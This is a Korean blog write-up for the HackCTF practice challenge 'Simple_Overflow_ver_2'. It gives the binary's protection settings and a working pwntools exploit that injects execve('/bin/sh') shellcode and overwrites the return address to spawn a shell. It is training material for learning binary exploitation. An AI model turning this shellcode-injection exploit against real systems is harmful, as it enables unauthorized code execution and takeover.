[hackctf] Simple_Overflow_ver_2

sangjun

·

2021. 4. 18. 17:52

반응형

 

문제 소스

ctf.j0n9hyun.xyz/challenges#Simple_Overflow_ver_2

 

HackCTF

Do you wanna be a God? If so, Challenge!

ctf.j0n9hyun.xyz

 

보호기법

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

 

문제 분석 및 페이로드

from pwn import *
context.arch='x86'
#context.log_level='debug'	
p=process("./Simple_overflow_ver_2")

p.sendlineafter("Data : ","hihi")
addr=p.recvuntil(":")[:-1]
test=asm(shellcraft.execve("/bin/sh",0,0))
print len(test)
shell=test
shell+="A"*(140-28)
shell+=p32(int(addr,16))
#print len(shell)
p.sendlineafter("Again (y/n): ","y")
p.sendlineafter("Data : ",shell)
#pause()
p.sendlineafter("Again (y/n): ","n")
p.interactive()

 

 

참고문헌 및 힘들었던 부분

 

반응형

'War Games > hack-ctf' 카테고리의 다른 글

[hackctf] BOF_PIE  (0) 2021.04.18
[hackctf] offset  (0) 2021.04.18
[hackctf] x64 Simple_size_BOF  (0) 2021.04.18
[hackctf] x64 Buffer Overflow  (0) 2021.04.18
[hackctf] 내 버퍼가 흘러넘친다  (0) 2021.04.18

0개의 댓글